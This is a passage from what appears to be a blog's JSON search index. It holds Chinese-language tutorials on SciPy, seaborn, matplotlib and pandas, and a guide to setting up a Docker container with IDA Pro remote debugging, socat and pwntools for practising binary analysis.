borad -1][4] https://rj45mp.github.io/2019/09/30/x86%E6%9E%B6%E6%9E%84%E4%B8%8Ex64%E6%9E%B6%E6%9E%84%E5%9C%A8%E5%87%BD%E6%95%B0%E4%BA%8E%E6%A0%88%E4%B8%AD%E8%B0%83%E7%94%A8%E8%BF%87%E7%A8%8B%E7%9A%84%E4%B8%8D%E5%90%8C%E4%B9%8B%E5%A4%84/?tdsourcetag=s_pctim_aiomsg[5] https://blog.csdn.net/jctian000/article/details/85099980 读取十六进代码[6] https://zhuanlan.zhihu.com/p/25816426[7] https://zhuanlan.zhihu.com/p/25892385","categories":[{"name":"pwn","slug":"pwn","permalink":"http://yoursite.com/categories/pwn/"}],"tags":[{"name":"Linux","slug":"Linux","permalink":"http://yoursite.com/tags/Linux/"},{"name":"栈溢出","slug":"栈溢出","permalink":"http://yoursite.com/tags/栈溢出/"}]},{"title":"SciPy-basic","slug":"SciPy-basic","date":"2019-11-03T01:31:57.000Z","updated":"2019-11-02T21:07:14.000Z","comments":true,"path":"2019/11/03/SciPy-basic/","link":"","permalink":"http://yoursite.com/2019/11/03/SciPy-basic/","excerpt":"SciPy科学计算基础用于数学、科学和工程的开源库,其集成了统计、优化、线性代数、傅立叶变换、信号和图像处理,ODE 求解器等模块官网","text":"SciPy科学计算基础用于数学、科学和工程的开源库,其集成了统计、优化、线性代数、傅立叶变换、信号和图像处理,ODE 求解器等模块官网 0x00 常量模块需要导入包from scipy import constants官方文档 pi123p=constants.piprint(p)# 结果:3.141592653589793 光速1constants.c, constants.speed_of_light # 两种写法 0x01 线性代数模块需要导入包from scipy import linalg官方文档 求矩阵的逆1234m=np.matrix([[1, 2], [3, 4]])print(m)rev=linalg.inv(m)print(rev) 0x02 差值模块官方文档插值,是数值分析领域中通过已知的、离散的数据点,在范围内推求新数据点的过程或方法。需要导入的模块from scipy import interpolate 1234x = np.array([0, 1, 2, 3, 4, 5, 6, 7, 8, 9])y = np.array([0, 1, 4, 9, 16, 25, 36, 49, 64, 81])plt.scatter(x, y)plt.show() 进行插值如下 12345678910x = np.array([0, 1, 2, 3, 4, 5, 6, 7, 8, 9])y = np.array([0, 1, 4, 9, 16, 25, 36, 49, 64, 81])xx = np.array([0.5, 1.5, 2.5, 3.5, 4.5, 5.5, 6.5, 7.5, 8.5]) # 两点之间的点的 x 坐标f = interpolate.interp1d(x, y) # 使用原样本点建立插值函数yy = f(xx) # 映射到新样本点plt.scatter(x, y)plt.scatter(xx, yy, marker='*')plt.show() 0x03 图像处理模块SciPy 集成了大量针对图像处理的函数和方法,即对多维数组的处理过程,可以完成卷积、滤波,转换等一系列操作。官方文档需要导入的包from scipy import ndimage 先导入一张浣熊图片 1234from scipy import miscface = misc.face()print(type(face))print(face.shape) 可以看到是一个RGB三维数组可以使用如下命令进行可视化还原 123face = misc.face()plt.imshow(face)plt.show() 高斯模糊处理12345from scipy import miscfrom scipy import ndimageface = misc.face()plt.imshow(ndimage.gaussian_filter(face, sigma=5))plt.show() 旋转变换123face = misc.face()plt.imshow(ndimage.rotate(face, 45))plt.show() 卷积操作1234face = misc.face()k = np.random.randn(2, 2, 3) # 卷积核plt.imshow(ndimage.convolve(face, k))plt.show() 0x04 线性回归给定x和y值。然后假设其符合y = ax^2 + by 1234567891011x = np.array([1, 2.5, 3.5, 4, 5, 7, 8.5])y = np.array([0.3, 1.1, 1.5, 2.0, 3.2, 6.6, 8.6])M = x[:, np.newaxis]**[0,2] # 我们完成 x^2计算,并添加截距项系数 1print(M)p = linalg.lstsq(M, y)[0] #最小二乘法计算,返回的第一组参数即为拟合系数print(p)plt.scatter(x, y)xx = np.linspace(0, 10, 100)yy = p[0] + p[1]*xx**2plt.plot(xx, yy)plt.show() 参考文献[1] https://www.shiyanlou.com/courses/1347/learning/?id=11330[2] https://docs.scipy.org/doc/scipy/reference/","categories":[{"name":"Numpy","slug":"Numpy","permalink":"http://yoursite.com/categories/Numpy/"}],"tags":[{"name":"Numpy","slug":"Numpy","permalink":"http://yoursite.com/tags/Numpy/"},{"name":"SciPy","slug":"SciPy","permalink":"http://yoursite.com/tags/SciPy/"},{"name":"Python","slug":"Python","permalink":"http://yoursite.com/tags/Python/"}]},{"title":"seaborn-basic","slug":"seaborn-basic","date":"2019-11-02T13:52:34.000Z","updated":"2019-11-02T07:41:04.000Z","comments":true,"path":"2019/11/02/seaborn-basic/","link":"","permalink":"http://yoursite.com/2019/11/02/seaborn-basic/","excerpt":"Seaborn基本知识Seaborn 对Matplotlib核心库封装,可以轻松地画出更美的图形,非常适合数据分析的可视化。官方文档","text":"Seaborn基本知识Seaborn 对Matplotlib核心库封装,可以轻松地画出更美的图形,非常适合数据分析的可视化。官方文档 需要导入包import seaborn as sns 0x00 快速优化使用Matplotlib画的图形如下使用Seaborn进行快速优化 12345678sns.set() # 声明使用 Seaborn 样式x = [1, 3, 5, 7, 9, 11, 13, 15, 17, 19]y_bar = [3, 4, 6, 8, 9, 10, 9, 11, 7, 8]y_line = [2, 3, 5, 7, 8, 9, 8, 10, 6, 7]plt.bar(x, y_bar)plt.plot(x, y_line, '-o', color='y')plt.show(); sns.set()的格式如下,给出了默认参数 1sns.set(context='notebook', style='darkgrid', palette='deep', font='sans-serif', font_scale=1, color_codes=False, rc=None) 说明context—-控制画幅大小—–{paper, notebook, talk, poster}style——控制样式———{darkgrid, whitegrid, dark, white, ticks}palette—-调色板———-{deep, muted, bright, pastel, dark, colorblind} 0x01 实验数据准备dataSet数据集总共 150 行,由 5 列组成。分别代表:萼片长度、萼片宽度、花瓣长度、花瓣宽度、花的类别。其中,前四列均为数值型数据,最后一列花的分类为三种,分别是:Iris Setosa、Iris Versicolour、Iris Virginica 123# 这个是在线的数据集,估计是seaborn内置的数据iris = sns.load_dataset("iris")print(iris.head()) 0x02 关联图关联图主要是线性图,散点图,涉及三个API 名称功能备注 relplot绘制关系图Figure-level 接口 scatterplot多维度分析散点图Axes-level scatterplot多维度分析线形图Axes-level Axes-level接口与Matplotlib紧密的更好。Figure-level适合快速上手。Figure-level接口可以实现Axes-level接口的功能,见0x02_01 0x02_00 散点图指定x,y为萼片长度和萼片宽度 123iris = sns.load_dataset("iris")sns.relplot(x="sepal_length", y="sepal_width", data=iris)plt.show() 可以优化,加入类别特征 123iris = sns.load_dataset("iris")sns.relplot(x="sepal_length", y="sepal_width", hue="species", data=iris)plt.show() 继续优化,不同类别不同形状 1234iris = sns.load_dataset("iris")sns.relplot(x="sepal_length", y="sepal_width", hue="species", style="species", data=iris)plt.show() 0x02_01 线性图线形态绘制时还会自动给出95%的置信区间。 1234iris = sns.load_dataset("iris")sns.lineplot(x="sepal_length", y="petal_length", hue="species", style="species", data=iris)plt.show() 这个可以用relplot实现 12sns.relplot(x="sepal_length", y="petal_length", hue="species", style="species", kind="line", data=iris) 0x03 类别图类别图的Figure-level接口是catplot。是一些Axes-level的集合。下面列出Axes-level接口 分类散点图 stripplot() (kind=”strip”)swarmplot() (kind=”swarm”) 分类分布图 boxplot() (kind=”box”)violinplot() (kind=”violin”)boxenplot() (kind=”boxen”) 分类估计图 pointplot() (kind=”point”)barplot() (kind=”bar”)countplot() (kind=”count”) 分类散点图123iris = sns.load_dataset("iris")sns.catplot(x="sepal_length", y="species", data=iris)plt.show() 可以设置防止点重叠 123iris = sns.load_dataset("iris")sns.catplot(x="sepal_length", y="species", kind="swarm", data=iris)plt.show() 分类分布图箱线图123iris = sns.load_dataset("iris")sns.catplot(x="sepal_length", y="species", kind="box", data=iris)plt.show() 小提琴图123iris = sns.load_dataset("iris")sns.catplot(x="sepal_length", y="species", kind="violin", data=iris)plt.show() 增强箱线图123iris = sns.load_dataset("iris")sns.catplot(x="species", y="sepal_length", kind="boxen", data=iris)plt.show() 分类估计图点线图123iris = sns.load_dataset("iris")sns.catplot(x="sepal_length", y="species", kind="point", data=iris)plt.show() 条形图123iris = sns.load_dataset("iris")sns.catplot(x="sepal_length", y="species", kind="bar", data=iris)plt.show() 计数条形图123iris = sns.load_dataset("iris")sns.catplot(x="species", kind="count", data=iris)plt.show() 0x04 分布图可视化变量的分布情况,一般有单变量分布和多变量分布,这里的多变量多指二元变量。jointplot,pairplot,distplot,kdeplot。 单变量的直方核密度估计图distplot提供了参数来调整直方图和核密度估计图,eg设置 kde=False可以只绘制直方图,或者hist=False只绘制核密度估计图。kdeplot可以专门用于绘制核密度估计图,其效果和distplot(hist=False)一致,但kdeplot拥有更多的自定义设置。 1234sns.set()iris = sns.load_dataset("iris")sns.distplot(iris["sepal_length"])plt.show() 等价于 1sns.kdeplot(iris["sepal_length"]) 二元变量分布图可以呈现sepal_length和sepal_width二元特征变量之间的关系 1234sns.set()iris = sns.load_dataset("iris")sns.jointplot(x="sepal_length", y="sepal_width", data=iris)plt.show() 二元变量回归拟合图1sns.jointplot(x="sepal_length", y="sepal_width", data=iris, kind="reg") 强大的pairplot一次性将数据集中的特征变量两两对比绘图。默认情况下,对角线上是单变量分布图,而其他则是二元变量分布图。 1234sns.set()iris = sns.load_dataset("iris")sns.pairplot(iris, hue="species")plt.show() 0x05 回归图绘制函数主要有:lmplot和regplotregplot绘制回归图时,只需指定自变量和因变量就能自动拟合 1234sns.set()iris = sns.load_dataset("iris")sns.regplot(x="sepal_length", y="sepal_width", data=iris)plt.show() lmplot支持引入第三维度进行对比,eg设置 hue="species"。 1234sns.set()iris = sns.load_dataset("iris")sns.lmplot(x="sepal_length", y="sepal_width", hue="species", data=iris)plt.show() 0x06 矩阵图矩阵图中最常用的就只有2个,heatmap和clustermapheatmap主要用来绘制热力图 123sns.set()sns.heatmap(np.random.rand(10, 10))plt.show() 文献来源[1] https://www.shiyanlou.com/courses/892/learning/?id=3260","categories":[{"name":"Numpy","slug":"Numpy","permalink":"http://yoursite.com/categories/Numpy/"}],"tags":[{"name":"Numpy","slug":"Numpy","permalink":"http://yoursite.com/tags/Numpy/"},{"name":"Python","slug":"Python","permalink":"http://yoursite.com/tags/Python/"},{"name":"seaborn","slug":"seaborn","permalink":"http://yoursite.com/tags/seaborn/"}]},{"title":"matplotlib-basic","slug":"matplotlib-basic","date":"2019-11-02T08:19:43.000Z","updated":"2019-11-02T04:59:24.000Z","comments":true,"path":"2019/11/02/matplotlib-basic/","link":"","permalink":"http://yoursite.com/2019/11/02/matplotlib-basic/","excerpt":"Matplotlib 图像绘制Matplotlib 是Python语言的开源绘图库官方文档","text":"Matplotlib 图像绘制Matplotlib 是Python语言的开源绘图库官方文档 说明:桌面环境下全部绘图代码之后追加plt.show()可以看到图形使用前需要导入包from matplotlib import pyplot as plt 0x00 二维图形绘制0x00_00 简单绘图折线图plt.plot()用来绘制折线图官方文档 默认横坐标123y=[1, 2, 3, 2, 1, 2, 3, 4, 5, 6, 5, 4, 3, 2, 1]plt.plot(y)plt.show() 列表中的值作为y值,横坐标从0自动递增 自定义横坐标传入两个列表参数就可以 1234x=[2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16]y=[1, 2, 3, 2, 1, 2, 3, 4, 5, 6, 5, 4, 3, 2, 1]plt.plot(x, y)plt.show() 小例子,描点法生成一个正弦曲线 1234567import numpy as np# 在 -2PI 和 2PI 之间等间距生成 1000 个值,也就是 X 坐标X = np.linspace(-2*np.pi, 2*np.pi, 1000)# 计算 y 坐标y = np.sin(X)plt.plot(X, y) # 向方法中 `*args` 输入 X,y 坐标plt.show() 柱状图主要使用plt.bar()绘制 1234x=[1,2,3]y=[3,4,5]plt.bar(x,y)plt.show() 散点图主要使用scatter()绘制 123456# X,y 的坐标均有 numpy 在 0 到 1 中随机生成 1000 个值X = np.random.ranf(100)y = np.random.ranf(100)# 向方法中 `*args` 输入 X,y 坐标plt.scatter(X, y)plt.show() 饼状图主要使用pie()绘制 123data=[32,45,56]plt.pie(data)plt.show() 0x00_01定义图形样式折线图样式官方文档一些常见的参数样式 参数功能 alpha=设置线的透明度[0,1] color=设置线型的颜色 fillstyle=设置线型的填充样式 linestyle=设置线型的样式 linewidth=设置线型的宽度 marker=设置标记点的样式 12345678910# 在 -2PI 和 2PI 之间等间距生成 1000 个值,也就是 X 坐标X = np.linspace(-2 * np.pi, 2 * np.pi, 1000)# 计算 sin() 对应的纵坐标y1 = np.sin(X)# 计算 cos() 对应的纵坐标y2 = np.cos(X)# 向方法中 `*args` 输入 X,y 坐标plt.plot(X, y1, color='r', linestyle='--', linewidth=2, alpha=0.8)plt.plot(X, y2, color='b', linestyle='-', linewidth=2)plt.show() 散点图样式官方文档 1234567# 生成随机数据x = np.random.rand(100)y = np.random.rand(100)colors = np.random.rand(100)size = np.random.normal(50, 60, 10)plt.scatter(x, y, s=size, c=colors) # 绘制散点图plt.show() 饼状图样式官方文档 12345678910label = 'Cat', 'Dog', 'Cattle', 'Sheep', 'Horse' # 各类别标签color = 'r', 'g', 'r', 'g', 'y' # 各类别颜色size = [1, 2, 3, 4, 5] # 各类别占比explode = (0, 0, 0, 0, 0.2) # 各类别的偏移半径# 绘制饼状图plt.pie(size, colors=color, explode=explode, labels=label, shadow=True, autopct='%1.1f%%')# 饼状图呈正圆plt.axis('equal')plt.show() 组合图样式往往有时候把几个图形在一个界面一同画出来两张图的横坐标必须共享,这样才能够被 Matplotlib 自动判断为组合图 1234567x = [1, 3, 5, 7, 9, 11, 13, 15, 17, 19]y_bar = [3, 4, 6, 8, 9, 10, 9, 11, 7, 8]y_line = [2, 3, 5, 7, 8, 9, 8, 10, 6, 7]plt.bar(x, y_bar)plt.plot(x, y_line, '-o', color='y')plt.show() 0x00_02 定义图形位置需要调整图形的位置,或者把几张单独的图形拼接在一起,就需要引入 plt.figure图形对象 把plt.figure()看成画板axes看成画布 自定义位置的图形1234567x = np.linspace(0, 10, 20) # 生成数据y = x * x + 2fig = plt.figure() # 新建图形对象#添加一个画布axes = fig.add_axes([0.1, 0.1, 0.8, 0.8]) # 控制画布的左, 下, 宽度, 高度axes.plot(x, y, 'r')plt.show() 大图套小图12345678910x = np.linspace(0, 10, 20) # 生成数据y = x * x + 2fig = plt.figure() # 新建画板axes1 = fig.add_axes([0.1, 0.1, 0.8, 0.8]) # 大画布axes2 = fig.add_axes([0.2, 0.5, 0.4, 0.3]) # 小画布axes1.plot(x, y, 'r') # 大画布axes2.plot(y, x, 'g') # 小画布plt.show() 子图的绘制(多张图拼接在一起)另外一种添加画布的方式plt.subplots(),它也是一个画布,返回一个元组(truple)数据 12fig, axes = plt.subplots()axes.plot(x, y, 'r') 一个例子,拼接多张图片 123456x = np.linspace(0, 10, 20) # 生成数据y = x * x + 2fig, axes = plt.subplots(nrows=1, ncols=2) # 子图为 1 行,2 列for ax in axes: ax.plot(x, y, 'r')plt.show() Tips:任何图形的绘制,都建议通过plt.figure() 或者plt.subplots()管理一个完整的图形对象。而不是简单使用一条语句,例如plt.plot()来绘图。 0x00_03 绘图规范添加图标题、图例123456789x = np.linspace(0, 10, 20) # 生成数据fig, axes = plt.subplots()axes.set_xlabel('x label') # 横轴名称axes.set_ylabel('y label')axes.set_title('myTitle') # 图形名称axes.plot(x, x**2)axes.plot(x, x**3)axes.legend(["y = x**2", "y = x**3"], loc=0) # 图例plt.show() loc参数标记图例位置,1,2,3,4 依次代表:右上角、左上角、左下角,右下角;0 代表自适应 线型、颜色、透明度12345678910111213141516171819202122232425262728293031x = np.linspace(0, 10, 20) # 生成数据fig, ax = plt.subplots(figsize=(12, 6))# 线宽ax.plot(x, x+1, color="blue", linewidth=0.25)ax.plot(x, x+2, color="blue", linewidth=0.50)ax.plot(x, x+3, color="blue", linewidth=1.00)ax.plot(x, x+4, color="blue", linewidth=2.00)# 虚线类型ax.plot(x, x+5, color="red", lw=2, linestyle='-')ax.plot(x, x+6, color="red", lw=2, ls='-.')ax.plot(x, x+7, color="red", lw=2, ls=':')# 虚线交错宽度line, = ax.plot(x, x+8, color="black", lw=1.50)line.set_dashes([5, 10, 15, 10])# 符号ax.plot(x, x + 9, color="green", lw=2, ls='--', marker='+')ax.plot(x, x+10, color="green", lw=2, ls='--', marker='o')ax.plot(x, x+11, color="green", lw=2, ls='--', marker='s')ax.plot(x, x+12, color="green", lw=2, ls='--', marker='1')# 符号大小和颜色ax.plot(x, x+13, color="purple", lw=1, ls='-', marker='o', markersize=2)ax.plot(x, x+14, color="purple", lw=1, ls='-', marker='o', markersize=4)ax.plot(x, x+15, color="purple", lw=1, ls='-', marker='o', markersize=8, markerfacecolor="red")ax.plot(x, x+16, color="purple", lw=1, ls='-', marker='s', markersize=8, markerfacecolor="yellow", markeredgewidth=2, markeredgecolor="blue")plt.show() 网格和坐标轴范围12345678910111213x = np.linspace(0, 10, 20) # 生成数据fig, axes = plt.subplots(1, 2, figsize=(10, 5))# 显示网格axes[0].plot(x, x**2, x, x**3, lw=2)axes[0].grid(True)# 设置坐标轴范围axes[1].plot(x, x**2, x, x**3)axes[1].set_ylim([0, 60])axes[1].set_xlim([2, 5])plt.show() 图形标注文字文字标注通过matplotlib.pyplot.text()实现。最基本的样式为 matplotlib.pyplot.text(x, y, s),其中 x, y 用于标注位置定位,s 代表标注的字符串。 12345678910fig, axes = plt.subplots()x_bar = [10, 20, 30, 40, 50] # 柱形图横坐标y_bar = [0.5, 0.6, 0.3, 0.4, 0.8] # 柱形图纵坐标bars = axes.bar(x_bar, y_bar, color='blue', label=x_bar, width=2) # 绘制柱形图for i, rect in enumerate(bars): x_text = rect.get_x() # 获取柱形图横坐标 y_text = rect.get_height() + 0.01 # 获取柱子的高度并增加 0.01 plt.text(x_text, y_text, '%.1f' %y_bar[i]) # 标注文字plt.show() 0x01 三维图形绘制绘制三维图像主要通过mplot3d模块实现。但是,使用Matplotlib 绘制三维图像实际上是在二维画布上展示,所以一般绘制三维图像时,同样需要载入 pyplot 模块导入包from mpl_toolkits.mplot3d import Axes3D 123import numpy as npfrom mpl_toolkits.mplot3d import Axes3Dimport matplotlib.pyplot as plt 三维散点图12345678910# x, y, z 均为 0 到 1 之间的 100 个随机数x = np.random.normal(0, 1, 100)y = np.random.normal(0, 1, 100)z = np.random.normal(0, 1, 100)fig = plt.figure()ax = Axes3D(fig)ax.scatter(x, y, z)plt.show(); 三维线性图12345678910# 生成数据x = np.linspace(-6 * np.pi, 6 * np.pi, 1000)y = np.sin(x)z = np.cos(x)# 创建 3D 图形对象fig = plt.figure()ax = Axes3D(fig)ax.plot(x, y, z)plt.show(); 三维曲面图123456789# 生成数据X = np.arange(-2, 2, 0.1)Y = np.arange(-2, 2, 0.1)X, Y = np.meshgrid(X, Y)Z = np.sqrt(X ** 2 + Y ** 2)# 绘制曲面图,并使用 cmap 着色ax.plot_surface(X, Y, Z, cmap=plt.cm.winter)plt.show(); 参考文献[1] https://www.shiyanlou.com/courses/1093/learning/?id=6141[2] https://www.runoob.com/numpy/numpy-matplotlib.html","categories":[{"name":"Numpy","slug":"Numpy","permalink":"http://yoursite.com/categories/Numpy/"}],"tags":[{"name":"Python","slug":"Python","permalink":"http://yoursite.com/tags/Python/"},{"name":"matplotlib","slug":"matplotlib","permalink":"http://yoursite.com/tags/matplotlib/"}]},{"title":"pandas-basic","slug":"pandas-basic","date":"2019-11-02T04:34:48.000Z","updated":"2019-11-02T00:13:14.000Z","comments":true,"path":"2019/11/02/pandas-basic/","link":"","permalink":"http://yoursite.com/2019/11/02/pandas-basic/","excerpt":"pandas数据处理的基本操作","text":"pandas数据处理的基本操作 Python进行数据预处理的库,基于Numpy,这里主要涉及到数据类型,读取,选择,删减,填充。使用前导入库import pandas as pd 1. pandas数据类型 dataType说明备注 Series一维数组常见 DataFrame二维数组常见 Panel三维数组不常见 1.1Series简介官网Pandas 中的一维数组,其可以储存整数、浮点数、字符串等类型的数据,它的结构如下所示。具有行索引。pandas.Series(data=None, index=None) 基于Python字典创建Series12s = pd.Series({'c1': 1, 'c2': 2, 'c3': 3})print(s) 基于NumPy一维ndarray数组创建1234f =np.random.randn(5)print(f)s = pd.Series(f)print(s) 注意:默认索引从0开始 1.2 DataFrame简介官网Pandas 中最为常见、最重要且使用频率最高的数据结构,与excel类似,二维表格,具有行列索引。基本结构是这样的pandas.DataFrame(data=None, index=None, columns=None) 基于列表字典创建123df = pd.DataFrame({'c1': [1, 2, 3], 'c2': [4, 5, 6]})print(df) 基于Series字典创建123df = pd.DataFrame({'c1': pd.Series([1, 2, 3]), 'c2': pd.Series([4, 5, 6])})print(df) 基于字典列表123df = pd.DataFrame([{'c1': 1, 'c2': 4}, {'c1': 2, 'c2': 5}, {'c1': 3, 'c2': 6}]) 基于NumPy的二维ndarray创建1234c=np.random.randint(5, size=(2, 4))print(c)df = pd.DataFrame(c)print(df) 不指定列的时候索引或者名称是数字从0开始指定列索引 12df = pd.DataFrame(np.random.rand(2, 5), columns=list('ABCDE'))print(df) 2.数据读取官方文档一般可以用于读取csv文件,其他文件格式参考官方文档 12df = pd.read_csv("./data/los_census.csv")print(df) 数据来源https://labfile.oss.aliyuncs.com/courses/906/los_census.csv 数据省略号解决方案 数据显示的时候,会有省略号,具体见参考文献[2] 123pd.set_option('display.max_columns', 1000)pd.set_option('display.width', 1000)pd.set_option('display.max_colwidth', 1000) 数据预览1234567df.head() # 默认显示前 5 条df.tail(10) # 指定显示后 10 条df.describe() # 数据集概览,计数,最值,平均值df.values # DataFrame 转换为 NumPy 数组df.index # 查看索引df.columns # 查看列名df.shape # 查看形状 3.数据选择基于索引选择主要涉及到.iloc,官方文档默认从0开始,类似与切片主要结构df.iloc[[rows],[coloms]] 选择特定的行123df = pd.read_csv("./data/los_census.csv")selectd=df.iloc[:3] #选择前三行print(selectd) 选择第三行 1selectd=df.iloc[3] #选择前三行 选择1,3,5行 1selectd=df.iloc[[1,3,5]] #选择前三行 选择特定的列选择第2-4列的所有数据,下标从0开始,最后一个不取 123df = pd.read_csv("./data/los_census.csv")selectd=df.iloc[:, 1:4]print(selectd) 基于标签名选择主要是.loc,官方文档 选择1,3,5行 1df.loc[[0, 2, 4]] 选择2-4列 1234df = pd.read_csv("./data/los_census.csv")print(df.columns )c = df.loc[:, 'Total Population':'Total Males'] #选择2-4列print(c) 选择1,3行和Median Age及其后面的列 1df.loc[[0, 2], 'Median Age':] 4.数据删减与数据选择可以补充使用,可以去掉指定的行或者列,DataFrame.drop等价选择了官方文档参数axis=1指定按列删除数据 1234df = pd.read_csv("./data/los_census.csv")print(df.columns )c = df.drop(labels=['Median Age', 'Total Males'], axis=1)print(c) 数据去重 1df.drop_duplicates() 删除空缺的行或者列 1df.dropna() 5.数据填充对缺少的值进行数据填充 检测缺失值对于不同数据的缺失都采用NaN作为缺失标记,时间戳丢失采用NAT标记。主要有两个函数isna()和notna构建一个含缺失数据的数据 12345678df = pd.DataFrame(np.random.rand(9, 5), columns=list('ABCDE'))# 插入 T 列,并打上时间戳df.insert(value=pd.Timestamp('2017-10-1'), loc=0, column='Time')# 将 1, 3, 5 列的 1,3,5 行置为缺失值df.iloc[[1, 3, 5, 7], [0, 2, 4]] = np.nan# 将 2, 4, 6 列的 2,4,6 行置为缺失值df.iloc[[2, 4, 6, 8], [1, 3, 5]] = np.nanprint(df) 数据如下所示此时通过isna()或者notna()查看缺失的情况 12temp = df.isna()print(temp) 结果如下所示 填充缺失值填充相同的值12t2 = df.fillna(0)print(t2) 填充后数据如下 使用缺失值前面的值填充12t2 = df.fillna(method='pad')print(t2) 填充后数据如下 12df.fillna(method='pad') #使用后面的值填充df.fillna(method='pad', limit=1) # 连续缺失,限制最多填充一项 使用平均值填充对c,e两列使用平均值填充 12t2 = df.fillna(df.mean()['C':'E'])print(t2) 填充后的数据如下: 使用插值填充官方文档 123456# 生成一个 DataFramedf = pd.DataFrame({'A': [1.1, 2.2, np.nan, 4.5, 5.7, 6.9], 'B': [.21, np.nan, np.nan, 3.1, 11.7, 13.2]})print(df)df_interpolate = df.interpolate()print(df_interpolate) 6.数据可视化可以使用 Pandas 提供的 DataFrame.plot 方法调用Matplotlib接口绘图。简单易用,适合于数据的快速呈现和预览官方文档 准备数据12345df = pd.DataFrame({'A': [1.1, 2.2, np.nan, 4.5, 5.7, 6.9], 'B': [.21, np.nan, np.nan, 3.1, 11.7, 13.2]})print(df)df_interpolate = df.interpolate()print(df_interpolate) 数据展示线性图绘制1234import matplotlib.pyplot as plt#...省略数据准备代码t=df_interpolate.plot()plt.show(t) 展示的数据如图所示 柱状图绘制也可以展示位柱状图 12t=df_interpolate.plot(kind='bar')plt.show(t) #参考文献[1] https://www.shiyanlou.com/courses/906/learning/?id=3375[2] https://blog.csdn.net/Ramer42/article/details/83178653","categories":[{"name":"Numpy","slug":"Numpy","permalink":"http://yoursite.com/categories/Numpy/"}],"tags":[{"name":"Python","slug":"Python","permalink":"http://yoursite.com/tags/Python/"},{"name":"pandas","slug":"pandas","permalink":"http://yoursite.com/tags/pandas/"}]},{"title":"docker-IDAPro","slug":"docker-IDAPro","date":"2019-10-30T01:43:57.000Z","updated":"2020-04-02T08:03:23.989Z","comments":true,"path":"2019/10/30/docker-IDAPro/","link":"","permalink":"http://yoursite.com/2019/10/30/docker-IDAPro/","excerpt":"docker与IDAPRO搭建二进制漏洞环境","text":"docker与IDAPRO搭建二进制漏洞环境 1. docker安装与基本操作1.1 安装官网runoob安装教程 1.2 基本操作导入镜像(别人已经准备好的)1cat ubuntu.17.04.amd64 | docker import - ubuntu/17.04.amd64(可自己命名) ubuntu.17.04.amd64是一个本地的镜像文件,后面一个名字可以自己定义 查看镜像导入成功后,可以使用命令查看docker所有的已经导入的镜像 1docker images 运行容器可以看作是启动一个任务docker run命令 123docker run -it -p 23946:23946 ubuntu/17.04.amd64 /bin/bash#或者docker run -i -t -p 23946:23946 ubuntu/17.04.amd64 /bin/bash -i 允许对容器内的标准输入-t 在新的容器内指定一个伪终端或者终端-p 容器内部使用的网络端口映射到使用的主机上面,前面一个是本地主机端口ubuntu/17.04.amd64 这是镜像名字/bin/bash 运行的命令 查看docker运行的所有容器在运行的主机上打开一个新的shell 1docker ps #查看所有正在运行的容器 1docker container ls -a #查看所有的容器情况 拓展:可以修改容器的名字docker container rename [autoname] [yourname]docker start id/name 启动容器 在已经运行的镜像或者容器内打开一个新的bash shell有时候一个容器的shell阻塞了,我们需要新的bash shell,可以使用如下的命令 123docker exec -it ubuntu17.04 /bin/bash#或者 containerID是一个id号docker exec -it containerID /bin/bash 容器和主机之间的文件传送可以使用如下命令在容器和主机之间双向传送文件 1docker container cp [localhostFilePath] [imageName]|[containerID]:[filePath] eg: docker container cp linux_server ubuntu.17.04.i386:/root/linux_server 注意这个imageName指的是某一个容器的名字,而非镜像名字,id也是容器的id。 退出容器此时拥有shell,使用命令exit或者键盘ctrl+D如果没有shell,先docker ps得到容器id或者name,然后使用docker stop id/name结束容器 删除容器1docker rm id/name 删除镜像注意,需要先删除运行该image实例的containers[5] 1docker rmi ImageID 1.3 Dockefile它是Docker镜像的描述文件,主要有四个部分组成 基础镜像信息指明构建时来自哪个基础镜像FROM ubuntu:16 维护者信息指明维护者信息MAINTAINER coder <[email protected]> 镜像操作指令12RUN apt-get updateRUN apt-get install -y libgdiplus 容器启动时执行指令1CMD ["-C", "/start.sh"] 构建镜像docker build -t tomcat:v1 .更多操作 1.4通过container构建镜像1234docker container ls -a /-a表示所有运行或者运行的container#复制刚才创建的镜像的名字docker container commit xenodochial_nightingale soymilk/centos7-vim#xenodochial_nightingale为原来的container的名字,soymilk/centos7-vim为新创建的image名字 2. IDAPro简单使用在远程连接时候,需要关闭docke远程执行命令保护 1docker run --security-opt seccomp:unconfined -it -p 23946:23946 ubuntu.17.04.i386 /bin/bash 将IDA所在文件夹下的dbgsrv的linux_server或则linux_server64复制到主机上,并使用docker container cp命令传送到容器的某一个路径下。加权限然后运行,可以看到侦听端口,新打开一个bash shell。 快捷键功能 F2设置断点/取消断点 F7单步进入函数 F8单步跨过函数 F9运行程序 动态调试的时候,如果遇到程序输入,可以在linux_server运行的接口输入字符 3.ubuntu16.04安装pwntools模块官网链接先升级setuptools 1pip install -U setuptools 然后安装pwntools模块 1234apt-get updateapt-get install python2.7 python-pip python-dev git libssl-dev libffi-dev build-essentialpip install --upgrade pippip install --upgrade pwntools 可能出现错误ERROR: Package 'more-itertools' requires a different Python: 2.7.15 not in '>=3.4'解决办法:单独安装more-itertools模块pip install more-itertools==5.0.0然后再次安装pip install pwntools 测试安装成功,没有报错误就可以了 123pythonimport pwnpwn.asm("xor eax,eax") 4.pwntools和IDA调试程序期间使用IDAPro远程attach的时候报了一个错This can perhaps indicate the process was just terminated, or that you don't have the necessary privileges. 解决办法重新启动容器,使用如下命令运行docker run --cap-add=SYS_PTRACE --security-opt seccomp=unconfined -it -p 23900:23946 ubuntu:18.04 /bin/bash 设置程序的IO转发 打开一个新的bash,切换到容器的运行程序目录下。 ifconfig查看ip地址 执行命令,设置IO转发到10001socat tcp-listen:10001,reuseaddr,fork EXEC:./heapTest_x86,pty,raw,echo=0socat命令介绍查看参考文献3 主机python使用pwntools 12from pwn import *io = remote("172.17.0.2", 10001) IDA中的操作call ___isoc99_scanf处设置断点Debugger->Attach to process...附加到./heapTest_x86的进程上回到python程序io.recv( )用于接收显示的数据io.send( )发送数据io.sendline( )用于回车 结束调试python程序中io.close( )ida软件中CTRL+F2 参考文献[1] https://blog.csdn.net/asd413850393/article/details/101349924[2] https://github.com/Sp4n9x/blog_backup/blob/master/_posts/2018-04-05.Pwn%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA%E2%80%94Ubuntu16.04.md[3] http://brieflyx.me/2015/linux-tools/socat-introduction/[4] https://zhuanlan.zhihu.com/p/71914632[5] 